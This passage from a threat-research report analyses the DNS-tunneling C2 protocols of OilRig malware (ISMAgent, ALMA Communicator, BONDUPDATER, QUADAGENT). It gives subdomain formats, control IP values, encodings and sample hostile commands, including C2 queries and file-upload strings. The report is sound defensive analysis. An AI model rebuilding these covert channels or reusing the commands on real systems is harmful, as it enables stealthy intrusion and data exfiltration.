The Trojan splits the contents of the text file up into 24-byte chunks and converts each byte into its hexadecimal representation. Helminth will include the hexadecimal representation of these bytes within the subdomain and will issue a DNS query to transmit the data to the C2 server. The Trojan will continue this process until all of the 24-byte chunks are sent to the C2, with each query including an incrementing sequence number. Helminth does nothing with the C2 server’s answer to these queries, as it just makes sure the DNS server responded with any answer. Figure 8 shows the Helminth Trojan uploading the contents of the text file that contains the results of the batch script (“whoami” command) to the C2 server in a series of five DNS queries.

Figure 8. Helminth sending the results of the command within queried subdomains

ISMAgent

OilRig has used the ISMAgent tool in targeted attacks, one of which we publicly discussed in our blog titled OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. OilRig’s use of this tool was an interesting discovery, as ISMAgent uses a DNS tunneling protocol very similar to another tool called ISMDoor that had been linked to another group called Greenbug. Researchers have already explained ISMDoor’s tunneling protocol here, so we will focus on explaining ISMAgent’s DNS tunneling protocol.

ISMAgent uses the DnsQuery_A API function to issue DNS AAAA requests to resolve custom crafted subdomains at an actor owned domain to send data to and receive commands from OilRig. The Trojan will initiate data transfer by issuing a beacon that contains a unique session identifier generated by calling the CoCreateGuid API function and using the resulting GUID with its hyphens removed. ISMAgent then uses this session identifier within a subdomain with the following structure that it will attempt to resolve:

n.n.c.<GUID used for session ID>.<c2 domain>

ISMAgent performs an AAAA query to resolve the domain, which effectively notifies the C2 that it is about to send data. If the C2 is operational, it will respond to this beacon with an IPv6 address of ‘a67d:0db8:a2a1:7334:7654:4325:0370:2aa3’ to acknowledge that it received the beacon and is ready to handle the data ISMAgent will attempt to send it. After receiving the acknowledgment IPv6 from the C2 server, the Trojan build a string that has the following structure:

http://<IP of C2 domain>/action2/<base64 encoded computername\username>||

ISMAgent will base64 encode the string above (converting “=”, “/” and “+” to “-“, “-s-“ and “-p-“ respectively) and then sends the encoded data to the C2 in a series DNS queries to resolve domains that have the following structure:

The C2 will respond with a hardcoded IPv6 of “a67d:0db8:85a3:4325:7654:8a2a:0370:7334” to tell the Trojan that it received the data and to continue sending data. Once it has sent all the data to the C2 server, ISMAgent will issue a query to resolve a domain with the following structure to notify the C2 server it is done sending data:

n.<number of queries issued to send data>.f.<GUID used for session ID>.<c2 domain>

Figure 9 shows Wireshark displaying the ISMAgent beacon followed by the Trojan sending data to the C2 server. Figure 9 also shows that the C2 uses very specific IPv6 addresses as answers to the queries, specifically including the IPv6 addresses used for acknowledgement and to instruct the Trojan to continue sending data. Lastly, the screenshot shows a third IPv6 used to answer the last DNS query, which the Trojan will use to determine how many DNS requests it needs to issue to download data from the C2.

Figure 9. ISMAgent's initial beacon followed by the transfer of system data “action2” in the queried subdomains

Figure 9 showed the C2 server providing an IPv6 address as an answer to the query that ISMAgent issued to mark the completion of data transfer. ISMAgent will parse this IPv6 to make sure it starts with “a67d:0db8:85a3:4325:7654” and then uses the last two hexadectets as a number of DNS queries it should issue to download data from the C2 server. The Trojan will issue queries to resolve domains with the following structure and treats the IPv6 addresses in the answers as data:

www.<sequence number [0:count from C2 server-1]>.r.<GUID used for session ID>.<c2 domain>

Figure 10 shows the C2 server responding to a query with an IPv6 address that begins with “a67d:0db8:85a3:4325:7654” and ends with 11, which instructs ISMAgent to issue 11 DNS queries to download data. The screenshot then shows ISMAgent issuing 11 DNS requests that the C2 server responds with data structured as follows:

<GUID used as a unique system identifier>#command#<URL to download a file>#<command to run with cmd.exe>#<file to upload to c2>#

In Figure 10, the C2 provided IPv6 addresses that transmitted the following data to the ISMAgent Trojan, which would run a PowerShell script that writes text to a file “C:\Users\Public\file.txt:

2983b983-0acd-42db-9d86-0b096af5f369#command##powershell.exe -executionpolicy bypass \"$s = 'Text written to file.txt';$s | set-content 'c:\\Users\\Public\\file.txt'\"#

Figure 10. ISMAgent downloading data from the C2 within IPv6 answers that the Trojan will treat as a command

The next beacon sent by ISMAgent follows the same process as the initial beacon, including the query to resolve “n.n.c” followed by the data transfer requests with the base64 encoded data in the subdomain and finishing with the “n.<requests sent>.f” query. The data transferred differs from the initial beacon, as it includes the GUID provided by the C2 in the previous beacon and the URL contains the word “response” instead of “action2”. The data sent to the C2 has the following structure, which the word “response” notifies the C2 that it is responding the previous transmission of the GUID:

http://<IP of c2 domain>/response/<base64 encoded computername\username>/<GUID provided by C2 as a unique system identifier>||

Figure 11 shows the DNS requests that ISMAgent issues to send this data to the C2 server. As you can see from the query to resolve the “n.12.f.” subdomain, ISMAgent sent 12 queries to transmit the encoded data to the C2 server via the DNS tunnel.

Figure 11. ISMAgent sending data “response” to the C2 server within queried subdomains

To show how ISMAgent exfiltrates data from the system, we issued the following command from the C2 server:

2983b983-0acd-42db-9d86-0b096af5f369#command###C:\\Users\\Public\\file.txt

The C2 issues this command within IPv6 addresses provided as answers to five queries seen in Figure 12. The command instructs ISMAgent to read the “C:\Users\Public\file.txt” file and upload its contents to the C2 server. If you recall, the string “Text written to file.txt” was written to this file from the PowerShell script executed by the initial command issued by the C2 server in Figure 11 above.

Figure 12. ISMAgent downloading data from the C2 within IPv6 addresses

ISMAgent will read the file and send its contents to the C2 server via the same sequence of DNS queries as before. The following shows the structure of the data uploaded, which is similar to but differs from previous data transferred, specifically including the string “upload” in the URL and the contents of the uploaded file following the double pipe (“||”) characters.

http://<IP of c2 domain>/upload/<base64 encoded computername\username>/<GUID provided by C2 as a unique system identifier>||<contents of file uploaded>

Figure 13 shows ISMAgent uploading the contents of the “file.txt” file by sending the following data in encoded form to the C2 in 15 DNS queries:

http://172.16.107[.]128/upload/V0lOLURQUUNPTkJMMU44XFJpY2sgRW5nbGlzaA%3d%3d/2983b983-0acd-42db-9d86-0b096af5f369||Text written to file.txt\r\n

Figure 13. ISMAgent uploading data to the C2 via the queried subdomains

ALMA Communicator

While tracking OilRig, we observed the threat group delivering two different variants of a tool called ALMA communicator as a payload. The two variants use DNS tunneling as its C2 channel, but the structure of the domains generated differ enough to describe them separately.

ALMA dash

The dash variant of ALMA was the first ALMA Communicator variant we discovered and was the focal point of our blog titled OilRig Deploys “ALMA Communicator” – DNS Tunneling Trojan. Like other tools used by OilRig, ALMA uses two separate folders named “Download” and “Upload” to store files that it receives from the C2 and to store files that it will exfiltrate to the C2. The ALMA dash tool will use a custom DNS tunneling protocol to download files provided by the C2 server and save these files in the “Download” folder. ALMA dash will routinely check the contents of the second folder named “Upload” and use the custom DNS tunneling protocol to exfiltrate the contents of each file in this folder.

ALMA dash’s custom DNS tunneling protocol relies on DNS A record queries to resolve custom crafted subdomains at the actor controlled C2 domain. ALMA dash builds the subdomains and uses the DnsQuery_W function to issue these DNS queries. OilRig transmits data via IPv4 addresses within the answers to these queries, which ALMA will save to the “Download” folder and execute using CreateProcessA with the command line of “cmd /c <downloaded file>”. The results of the command are saved to a file in the “Upload” folder that ALMA will exfiltrate to the C2 server.

ALMA dash generates a unique identifier for the system by gathering the user name and windows product key and combining the two strings together with an underscore (“_”) between them. The Trojan obtains the username via the GetUserNameA function and gathers the Windows product id by querying the registry, specifically the key SOFTWARE\Microsoft\Windows NT\CurrentVersion\ ProductId. ALMA will then generate the MD5 hash for this string and use characters at specific offsets (offsets 1, 5, 9, 13, 17, 21, 25 and 29) in this MD5 hash to create an 8-character string that it will use as the unique identifier for the system.

With the unique identifier created, ALMA dash initiates communications with the C2 server by sending a beacon to the C2 server using a DNS query to resolve a custom crafted subdomain at the actor-controlled C2 domain. ALMA issues these beacons to notify the C2 that it seeks to download data.

[random number between 1-9998]ID[unique identifier from MD5 hash of system information][sequence number]-0-2D-2D.[C2 domain]

Figure 14 shows the initial beacon sent from ALMA dash to its C2 server, including a random number of “6813”, a unique identifier of “8faa2150”, a sequence number of “0” and a hardcoded “-0-2D-2D" string used for the beacon.

Figure 14. ALMA Communicator's initial beacon to the C2

The authoritative DNS server for the C2 domain will send data to ALMA dash within the IPv4 answers to the query. The DNS server will use a hardcoded IPv4 address of 36.37.94[.]33 ($%^!)within answer to instruct the Trojan to begin treating all future IPv4 addresses within answers as data. To obtain the entire data stream, ALMA dash will continue to issue queries to resolve subdomains using the format above; however, ALMA will generate a new random number each query to avoid caching. ALMA dash will continue to send queries until it receives the IPv4 address of 33.33.94[.]94 (!!^^), which the C2 server will send when it is finished sending data. Figure 15 shows the C2 server answering the ALMA beacon with an IPv4 address of “36.37.94[.]33” to tell the Trojan to begin treating subsequent IPv4 as data.

Figure 15. C2 server responds to ALMA's beacon with data in the IPv4 answers

The Trojan will continue to treat the IPv4 addresses within the DNS query responses as data until the C2 server responds with the address of “33.33.94[.]94”. Figure 16 shows the C2 server providing data in the form of IPv4 addresses until it the “33.33.94[.]94” address to terminate the data transfer.

Figure 16. ALMA continues to issue queries to download data from the C2 until it receives the 33.33.94[.]94 IPv4 address

To exfiltrate data from the system to the C2 server, ALMA dash variants will read the contents of the files in the “Uploads” folder and send their contents to the C2 via a series of DNS queries. The DNS queries have a similar structure as the initial beacon, as these requests will start with a random number, the string “ID” and the unique identifier created based on the MD5 hash generated for the system information gathered by the Trojan. The differences include the hardcoded string of “0-2D-2D", which is no longer used but will be replaced by the following:

0 – This will contain the number of DNS queries the Trojan will request to transmit the entire data.

2D – This will contain 20 or less characters that represent 10-bytes of data from the exfiltrated file in hexadecimal format.

2D – This will contain 16 or less characters that represent the first 8-bytes of the filename being exfiltrated in hexadecimal format.

The resulting structure for the data exfiltration queries is as follows:

[random number between 1-9998]ID[unique identifier from MD5 hash of system information]-[number of requests needed to transfer data]-[20 characters or less for hexlified data]-[16 characters or less for hexlified filename].[c2 domain]

Figure 17 and 18 show ALMA communicator exfiltrating data via the DNS tunnel. The two screenshots show the Trojan providing the number “29”, which is the total number of DNS queries it will issue to transmit all of the data. The string “5F446E73496E6974” appears in each of the subdomains, as it is the hexlified representation of the filename “_DnsInit”, which was the name of the batch script provided by the C2 server and executed by the Trojan. The two screenshots show the sequence number after the unique identifier “8faa2150” starting at “1” and incrementing up to “29” when transmitting the data to the C2 server.

Figure 17. ALMA beginning the exfiltration of data to the C2 in the queried subdomains

Figure 18. ALMA finishing the exfiltration of data to the C2 in the queried subdomains

ALMA dot

This variant of ALMA is very similar to the ALMA dash variant; however, the information sent to the C2 server and specific formatting of the data within the DNS tunneling protocol differ. In addition to the user name and ProductId gathered by the dash variant of ALMA, the dot variant also gathers the computer name and the serial number of "\\.\PhysicalDrive" and concatenates the system information using an underscore ("_") to split up the fields. Like the dash variant, the dot variant generates the MD5 hash of the gathered information and uses it as a unique identifier, but instead of using a shortened version of this hash, the dot variant uses the entire MD5 hash as the unique identifier. The initial beacon to the C2 is structured slightly differently than the dash variant and results in drastically different subdomains, specifically having the following format:

[random number between 1-9999999].MD5 hash for unique identifier].[sequence number].0.2D.2D.[c2 domain]

Figure 19 shows a beacon generated by ALMA dot that contains a random number, the MD5 hash of the generated system specific data used as an identifier and a sequence number of 0.

Figure 19. Beacon generated by ALMA dot

To receive data from the C2, the Trojan will process the IPv4 addresses within the answers to the DNS query. Like, the dash variant, the dot variant of ALMA uses the following two IP addresses to mark the beginning and end of the data transmission:

Start – 36.37.94.33 ($%^!)

End – 33.33.94.94 (!!^^)

Figure 20 shows the ALMA dot variant using the same IPv4 address of “36.37.94[.]33” to mark the beginning of the data it will download from the C2 server, which in this case is the same batch script “_DnsInit.bat” as mentioned in the ALMA dash section.

Figure 20. ALMA dot using DNS tunnel to download a batch script from the C2 server

When exfiltrating data via the DNS tunnel, ALMA dot variant has a similar but different structure than the dash variant and can transmit three times the amount of data per request. The following structure shows that the dot variant exfiltrates 60 characters of hexlified data (30 bytes) and another 60 characters of hexlified data (30 bytes) that represents the filename that the data is exfiltrated from:

[random number between 1-9999999](IDID|idid)[MD5 hash for unique identifier].[sequence number].[total count in sequence].[60 or less characters for hexlified data].[60 or less characters for hexlified filename].[c2 domain]

Figure 21 shows the ALMA dot variant exfiltrating the results of the batch script downloaded by the C2 server in the previous figure. The figure shows the queries containing a sequence number that increases by one each query until it reaches 8, which is the value in the field in the subdomain that signifies the total number of queries in the sequence. The following field contains 60 characters that represent 30 bytes of hexlified data that the Trojan is sending to the C2. The last field in the subdomain is the hexadecimal string “5F446E73496E69742E747874” that decodes to “_DnsInit.txt”, which is the file that stored the results of the “_DnsInit.bat” script downloaded from the C2 server.

Figure 21. ALMA dot sending the output of the batch script via the DNS tunnel

BONDUPDATER

OilRig has used the BONDUPDATER tool in its attack campaigns as far back as mid-2017 according to FireEye’s research. There were two known variants of BONDUPDATER prior to our discovery of a new variant of BONDUPDATER delivered in a targeted attack on a Middle Eastern government organization in August 2018 that we blogged about here. The early variants of variants of BONDUPDATER used DNS A record queries for its DNS tunnel using the “GetHostAddresses” method in the System.Net.Dns class. The later variant of BONDUPDATER relied on raw sockets provided by the System.Net.Sockets.UdpClient class to issue both DNS A and TXT lookups to facilitate the DNS tunnel. The use of multiple DNS query types makes the two BONDUPDATER variants dramatically different, so we will describe each separately.

Early BONDUPDATER

The initial BONDUPDATER samples used DNS A queries exclusively to set up its communication tunnel with its C2 server. Depending on the sample, the subdomains generated by this variant of BONDUPDATER would differ slightly, but the overall purpose of this variant of BONDUPDATER is to use a DNS tunnel to download a new PowerShell and/or VBScript script from the C2 to execute.

The initial BONDUPDATER variant issues a beacon in the form of a DNS A request to the C2 server. To build this beacon, the Trojan will create a subdomain that contains a random number, a sequence number and a unique system identifier. The Trojan will first create a unique system identifier by executing the “whoami” command and using the first 12-characters of output as the identifier. The sequence number in the subdomain allows the Trojan to notify the C2 the offset within the data that it is requesting, which is “000” for the initial beacon. The Trojan uses the following structure for the initial beacon:

If the C2 wishes to send data to the Trojan, it will respond with an IPv4 address within the answer that starts with “24.125” as the first two octets. The Trojan will treat the remaining two octets as characters that it will use as a filename to save the data provided by the C2. The Trojan will use the last character of the filename to determine how to handle the data provided by the C2. Table 4 shows the three values the Trojan will look for as the last digit of the filename (fourth octet of response to the beacon) and how the Trojan will handle the received data.

Last digit in Filename	Description
0	Treat data as PowerShell commands to execute
1	Write data to <filename>.ps1
2	Write data to <filename>.vbs

Table 4. Commands run based on the trailing character in the filename

Figure 22 shows the C2 responding with “24.125.0[.]1”, which instructs BONDUPDATER to create a file named “01.ps1” to save the data. If the C2 wishes to terminate the Trojan, it would respond to the beacon with an IPv4 answer of “11.24.237[.]110”.

Figure 22. Original BONDUPDATER beacon and the C2 server responding with a filename and data within the IPv4 answers

Once it creates the file, BONDUPDATER will begin sending DNS queries to request IPv4 answers that it will treat as data. The Trojan will use the same query structure as the beacon, but will use an action value of “1” and begin incrementing the sequence number in the subdomain by 3 upon each request for data. The sequence number corresponds to the offset of the data that the C2 server will send, which it will transmit three bytes at a time within the first, second and third octets of the IPv4 address. The C2 will provide the current sequence number within the fourth octet of the IPv4 address, which echoes the sequence number back to the Trojan to confirm it is the correct data chunk. Figure 22 also shows the C2 providing IP addresses as answers to next two queries with the first three octets as data and the fourth octet as the sequence number, which the Trojan would save “whoami” to the “01.ps1” file.

If the Trojan successfully downloads the data from the C2 server, it crafts another subdomain that it will query to notify the C2 of the successful data transfer. This subdomain is interesting as it includes the system specific identifier from the beacon, but also includes up to 25-bytes of hexadecimal bytes of the output from the “whoami” command that was used to craft the unique system identifier. We believe that BONDUPDATER would use this structure to transmit data back to the C2 server if desired. The subdomain built for the notification query has the following structure:

Figure 23 shows BONDUPDATER notifying the C2 that it downloaded the data, but the figure also shows how the queries would look for data exfiltration.

Figure 23. BONDUPDATER sending data to the C2

The BONDUPDATER Trojan does not run the downloaded PowerShell or VBScript files, instead it relies on the C2 responding to a subsequent beacon with an IPv4 within the answer that starts with “24.125” and the fourth octet containing a “0”. According to Table 4, BONDUPDATER would treat the downloaded data as a PowerShell command, which would allow the actor to run previously downloaded PowerShell and/or VBScript files.

Updated BONDUPDATER

The updated BONDUPDATER that OilRig used in a 2018 attack on a Middle Eastern government organization had the same DNS tunneling protocol as the previously described variant, however, it could also use a different tunneling protocol that used a combination of DNS A and TXT queries for data transfer.

The updated BONDUPDATER uses the same DNS tunneling protocol using DNS A queries, specifically looking for an IPv4 address starting with “24.125” to get the filename to save the data to and “11.24.237.110” if the C2 wishes to terminate the Trojan. The updated BONDUPDATER also looks for an IPv4 address of “99.250.250.199”, which instructs the Trojan to begin using the alternate DNS tunnel that issues DNS TXT queries to transfer data.

Regardless of which DNS tunneling protocol the Trojan uses, the subdomains crafted have a different structure from the previously known variant. As mentioned in our previous blog:

"The format of the generated domains for both sending and receiving starts with the previously generated GUID created to uniquely identify the system. However, the Trojan inserts a part number value and an action type character into this GUID string at random offsets. The part number value is a three-digit string that corresponds to the chunk of data the Trojan is attempting to transmit. The action type is a single character that notifies the C2 the type of communication the Trojan is carrying out. The two static characters “C” and “T” in the subdomain surround two digits, which help the C2 server find the part number and action type mixed in within the GUID string at random offsets."

The structure of the subdomains previously described is as follows, with the indexes for the part number and action representing a zero-based indexed string (0 is the first character of the string):

The initial beacon from the Trojan to the C2 uses an action type of “M” and a part number of “000”, as the Trojan is not attempting to transmit any data. Figure 24 shows an example beacon sent from the BONDUPDATER to its C2 server, with the part number “000” at offset 7 and the action “M” at offset 4. It is important to note that if the index of the action is larger than the index of the part number, then the location of the action will be incorrect and will need the length of the part number (3) added to it to find the correct offset.

Figure 24. Updated BONDUPDATER’s initial beacon and the C2 instructing Trojan to use TXT queries

As you can see in Figure 24, the C2 server responded to the beacon with the IPv4 address “99.250.250[.]199” to instruct BONDUPDATER to use the new TXT-based DNS tunnel. To obtain commands from the C2 server, BONDUPDATER will request a filename from the C2 server via a beacon that uses a DNS TXT query with “W” as the action value. BONDUPDATER will not only use this filename to write downloaded data to, but it will also use the trailing character of the filename as the command to run. Table 5 from our previous blog shows how the Trojan will use the trailing character of the provided filename to carry out specific activities.

Trailing Character/Command	Purpose	Description
0	Execute command	Reads the contents of the file and runs them as a command with “cmd.exe”. The output of the command is saved to a file whose name starts with “proc” and is stored in the “sendbox” folder, which the Trojan will send to the C2 server.
1	Download file	Reads the contents of the file for a path to a file to download. Copies the specified file to a file in the “sendbox” folder for the Trojan to send to the C2 server.
Any other character	Upload file	Used to store a file on the system. The file is moved to the “done” folder, which stores the file for future use. The Trojan writes “200<>[path to stored file]” to a file in the “sendbox” folder to notify the C2 that the file was downloaded successfully.

Table 5. Commands available in BONDUPDATER and their purpose

The C2 server will respond to this DNS TXT query with TXT answers that start with an instruction that tells BONDUPDATER how to process the data. Table 6 from our previous blog shows the instructions that the Trojan will parse for within the TXT answer. A greater than (“>”) character will immediately follow the instruction within the TXT answer, in which the Trojan will treat the characters that follow the greater than character as data.

Instruction	Description
N	Idle. Set action type of next query to “W”
S	Receive data from C2. Decode data portion as base64. Sets the action type of future queries to the C2 to “D”.
S000s	Use data to as a portion of the filename to save data to. The data is appended to the string “rcvd”, which will be saved in the “receivebox” folder. Sets the action type of future queries to the C2 to “D”.
E	Write bytes provided by the “S” command to the file resulting from the “S000s” command. The breaks the loop for the script to process the downloaded file.
C	Cancel communications by exiting the loop.

Table 6. Instructions within the new data transfer process in BONDUPDATER and their meanings

To execute a command on the system, the C2 would respond to the “W” TXT beacon with the instruction “S000s” followed by the greater than (“>”) character and a filename that ends in a character that ends in “0”. Figure 25 shows the BONDUPDATER issuing a request to obtain a filename from the C2 server by issuing a TXT query with the “W” action at offset 3 in the subdomain. The screenshot also shows the C2 responding to the query with “S000s>10100”, which tells the Trojan to create a file named “rcvd10100”, as the Trojan will append the provided filename to the string “rcvd”.

Figure 25. BONDUPDATER requesting a filename to which to save downloaded data

With the filename obtained, the Trojan will begin issuing DNS TXT queries with an action of “D” to download data from the C2. The C2 server will respond to these requests with an instruction of “S0000”, followed by the first chunk of base64 encoded data that is the command. Figure 26 shows BONDUPDATER issuing a TXT query with the “D” action at offset 5 and the C2 server responding with the instruction of “S0000” and the encoded command of “d2hvYW1pJmlwY29uZmlnIC9hbGw=” for the command “whoami&ipconfig /all”.

Figure 26. BONDUPDATER requesting data to download and the C2 providing base64 data

BONDUPDATER waits to receive an instruction from the C2 server that starts with “E” before writing the downloaded data to the supplied filename. After receiving the “E” instruction, the Trojan will write the base64 decoded data to the file and process the newly created file. Figure 27 shows the C2 server providing the “E” instruction within the TXT answer. In the current example, the Trojan would treat the newly saved file as a script thanks to the filename ending with the “0” character. The Trojan would run the contents of the file using “cmd.exe” and save the output to a file named “proc10100” that will be uploaded to the C2 server.

Figure 27. BONDUPDATER C2 providing an instruction to tell the Trojan to write the data to the file

To upload data to the C2 server, the updated BONDUPDATER variant will use DNS A requests to transmit the data within the crafted subdomain. The structure of this subdomain differs from the DNS A and TXT requests meant to receive data, as these subdomains include segments for the filename and the data itself. To send data to the C2, the Trojan will issue DNS A queries to resolve domains with the following structure:

<GUID with part number and action character of “2”><sequence number><between 1 and 7 random characters>C<index of part number><index of action>T.<data chunk>.<filename>.<c2 domain>

When sending data to the C2, the Trojan will include the character “2” for the action to notify the C2 that it is going to send data. Both the data and filename segments of the subdomain are encoded using an encoding mechanism that takes the following steps:

Creates two separate empty strings
Converts each data byte to their hexadecimal form
Splits each hexadecimal byte into two nibbles
Appends the first nibble to the first string
Appends the second nibble to the second string
Concatenates the two strings together

This process effectively separates the two characters of each hexadecimal byte and spreads them out across the total string. The filename segment contains the encoded string for the filename with an asterisk (“*”) appended. For instance, the “10100” file seen in Figure 27 above will have an asterisk appended to it to produce “10100*”, which when encoded using this method results in a string of “33333210100A”. The following code block visualizes how this encoding method works:

String to encode: 10100*

Char '1' is 31 in hex.

 - Put '3' in string 1

 - Put '1' in string 2

Char '0' is 30 in hex.

 - Put '3' in string 1

 - Put '0' in string 2

Char '1' is 31 in hex.

 - Put '3' in string 1

 - Put '1' in string 2

Char '0' is 30 in hex.

 - Put '3' in string 1

 - Put '0' in string 2

Char '0' is 30 in hex.

 - Put '3' in string 1

 - Put '0' in string 2

Char '*' is 2A in hex.

 - Put '2' in string 1

 - Put 'A' in string 2

Concat string 1 “333332” and string 2 “10100A”

Encoded string: 33333210100A

String to encode: 10100*

Char '1' is 31 in hex.

- Put '3' in string 1

- Put '1' in string 2

Char '0' is 30 in hex.

- Put '3' in string 1

- Put '0' in string 2

Char '1' is 31 in hex.

- Put '3' in string 1

- Put '1' in string 2

Char '0' is 30 in hex.

- Put '3' in string 1

- Put '0' in string 2

Char '0' is 30 in hex.

- Put '3' in string 1

- Put '0' in string 2

Char '*' is 2A in hex.

- Put '2' in string 1

- Put 'A' in string 2

Concat string 1 “333332” and string 2 “10100A”

Encoded string: 33333210100A

The data segment of the subdomain can be a maximum of 60 characters long, so BONDUPDATER will split the data to exfiltrate into 30-byte chunks and encode the data using the same encoding method. To initiate the exfiltration of this file with the C2, BONDUPDATER will issue an initial DNS A query for a domain whose data chunk section starts with a hardcoded “COCTab” string followed by an encoded string of data that contains the filename and the length of the encoded data that will be transmitted. For instance, the “10100” file used in our example stored 2795 bytes of output from the issued command, which results in 5590 bytes when encoded. The Trojan splits the filename and data size with an asterisk and uses asterisks as padding to create a 27-character string of “10100*5590*****************”, which results in an encoded string “33333233332222222222222222210100A5590AAAAAAAAAAAAAAAAA”. BONDUPDATER appends this encoded string to “COCTab” and issues a DNS query using this as its data segment of the subdomain to notify the C2 how many DNS A requests it will issue to transmit the data. Figure 28 shows the initial notification query that contains the “33333210100A” string in the filename segment and the data segment containing the filename and data length string after “COCTab”.

Figure 28. BONDUPDATER query notifying the C2 that it will upload the contents of a file

The C2 server will respond to this DNS A request with an IPv4 address that contains the first two characters of the GUID used as the system identifier as the first octet, “2” and “3” as the second and third octet and the fourth octet containing a sequence number corresponding to the data chunk that the C2 server wishes the Trojan to send. BONDUPDATER will continue to send DNS A queries with chunks of encoded data from the file within the data segment of the subdomain until all of the data has been transmitted. Figure 29 shows the C2 server responding to the notification query and the following data transfer queries with the IPv4 addresses whose fourth octet increments by three to obtain the next chunk of data.

Figure 29. BONDUPDATER transmitting data to the C2 in the queried subdomains

After sending all of the data, the Trojan will issue a final DNS query with “COCTabCOCT” in the data segment. This query notifies the C2 server that the Trojan has finished sending the contents of the file. Figure 30 shows the continued data transfer via DNS queries, followed by the final DNS query with “COCTabCOCT” within the data segment.

Figure 30. BONDUPDATER sending data and telling the C2 it is done via the "COCTabCOCT" string

QUADAGENT

OilRig has used the QUADAGENT tool in targeted attacks, one of which we publicly discussed in our blog titled OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. QUADAGENT is capable of using DNS tunneling to communicate with its C2 server using DNS queries to resolve custom crafted subdomains of a C2 domain. The DNS tunneling protocol uses AAAA queries to transmit and receive data between the infected system and its C2 server. Depending on the version of Windows, the payload will use a different method to issue the queries, specifically:

Windows 8+

Resolve-DnsName -Name <generated subdomain>.<c2 domain> -Type AAAA -DnsOnly

Windows 7

nslookup.exe -q=aaaa <generated subdomain>.<c2 domain>.

It appears that the author knew that PowerShell on Windows versions prior to Windows 8.1 did not have the DnsClient module that contains the Resolve-DnsName method. At a high level, QUADAGENT communicates with its C2 server to obtain a PowerShell script that it will replace itself with, which essentially updates the Trojan with a secondary payload. To carry out this updating functionality, QUADAGENT follows a sequence of steps that involves:

Obtaining a session identifier and pre-shared key
Confirming the correct session identifier
Downloading the PowerShell script
Confirming the download and execution

The first step to set up communications between QUADAGENT and the C2 involves an initial handshake to obtain a session ID and pre-shared key. To obtain its session id and pre-shared key, the payload will issue a query to resolve the following domain, which acts as the initial beacon:

mail.<random number between 100000 and 999999>.<c2 name>

This request is to notify the C2 server that the payload is about to send system specific data as part of the initial handshake. The system specific data sent to the C2 server is in the following format:

<domain>\<username>:pass

The above string is encoded using a custom base64 encoder to strip out non-alphanumeric characters ("=","/" and "+") from the data and replaces them with domain safe values ("01", "02" and "03" respectively). QUADAGENT will issue a DNS query to resolve a domain with the following structure to send this encoded system data to the C2:

The C2 server will respond to these requests by providing a session identifier to uniquely identify the compromised system and pre-shared key encrypt data sent via the DNS tunnel. To transfer this data to QUADAGENT, the C2 server will respond to the last DNS query with an IPv6 address that contains a number that the Trojan will use to determine how many DNS requests it must issue to download the data from the C2 server. The C2 server will send the count value in the last two hexadectets of the IPv6 address in the answer to the query. Figure 31 shows QUADAGENT sending a query to notify the C2 that it will send system specific data in the following query. The C2 response has “2” in the last two hexadectets, which instructs the Trojan to issue two queries to download the desired data.

Figure 31. Wireshark displaying beacon and transmission of system information between QUADAGENT and its C2

To receive the data, QUADAGENT will issue DNS requests to resolve subdomains of the C2 domain that start with “www” followed immediately by a sequence number of the chunk of data the Trojan currently seeks. The Trojan will issue queries to resolve the domains with the following structure until it has reached the count value provided by the C2 in Figure 31:

www<sequence number>.<random number between 100000 and 999999>.<c2 name>

After obtaining the data, QUADAGENT will issue a query to resolve a subdomain structured as follows to signal to the C2 server that it received all of the data:

www.<random number between 100000 and 999999>.<c2 name>

Figure 32 shows QUADAGENT issuing DNS requests with incrementing sequence numbers and the C2 providing the session identifier and pre-shared key within the IPv6 answers. The screenshot also shows the Trojan sending a DNS query to notify the C2 that it successfully received the data.

Figure 32. Wireshark displaying QUADAGENT downloading a session identifier and pre-shared key from C2

QUADAGENT will then finish the handshake sequence by using its newly obtained session identifier in a series of queries. The Trojan will use a similar series of queries later on to exfiltrate data to the C2 later in its communications, but at this point in the communications QUADAGENT just uses them to echo the session identifier back to the C2. The payload starts this process by issuing a DNS query to resolve a domain with the following structure to notify the C2 that it is about to send data:

ns1.<new random number between 100000 and 999999>.<c2 name>

QUADAGENT does nothing with the answer to the previous query, rather it immediately issues a query to resolve the following domain, which effectively transmits the session id value to the C2:

Once again, the payload disregards the answer to the query above. At this point, if QUADAGENT had data to the C2, it would encrypt the data and encode the ciphertext using the custom base64 function used to transmit the system information within the handshake. The Trojan would then send this encoded data within a sequence of queries that include 60 characters of the encoded ciphertext as the first portion of the subdomain. After completing the data transmission, QUADAGENT then issues one last query to resolve a domain with “ns2” as the subdomain to notify the C2 server that it is done sending data. At this point in the communications, QUADAGENT does not have any data to send to the C2, as it is only echoing the session identifier so the Trojan issues a query to resolve a domain structured as follows:

ns2.<same random number between 100000 and 999999>.<c2 domain name>

Figure 33 shows QUADAGENT sending the provided session identifier to the C2 server.

Figure 33. Wireshark showing QUADAGENT echoing its session identifier back to the C2

To transmit the data via the DNS tunneling channel, the C2 server will respond to the previous query with an IPv6 address that contains the number of DNS queries the payload must issue to obtain the entirety of the data from subsequent IPv6 answers. This is the same process discussed earlier when the C2 server provided the session identifier and pre-shared key. Much like the data transfer method discussed earlier, QUADAGENT will issue DNS requests to resolve subdomains “www<sequence number>” with the sequence number incrementing until it receives all the data. Once it receives all the data, the Trojan issues a query to resolve “www.” to notify the C2 that it received all the data.

The C2 can respond to the query to resolve the “ns2.” domain with pipe-delimited (“|”) data that QUADAGENT will parse and handle in one of two ways depending on fields provided. The Trojan will parse the two types of data and treat them as:

A new session identifier and pre-shared key
A command to overwrite the current script with a new PowerShell script to execute

First, the C2 can provide data with a specific structure that QUADAGENT will treat as a new session identifier and pre-shared key. Much like the initial handshake, QUADAGENT will save this session identifier and pre-shared key to the registry so the Trojan does not have to carry out the handshake each time it executes. The C2 creates a string following structure and sending it to QUADAGENT as cleartext via IPv6 addresses in the “www<sequence number>” query sequence:

Second, the C2 can provide data that QUADAGENT will treat as a command that it will parse looking for data to overwrite its current file with a new PowerShell script. The C2 provides this data by creating a string with the field before the first pipe (“|”) empty, the second field containing the length of the ciphertext and the third field starting with the 16-byte initialization vector (IV) followed by the data encrypted with AES using the previously mentioned IV and the pre-shared key. This data is sent to the Trojan via the “www<sequence number>” query sequence in the following format:

|<length of encrypted data>|<AES IV><Data encrypted with AES and pre-shared key>

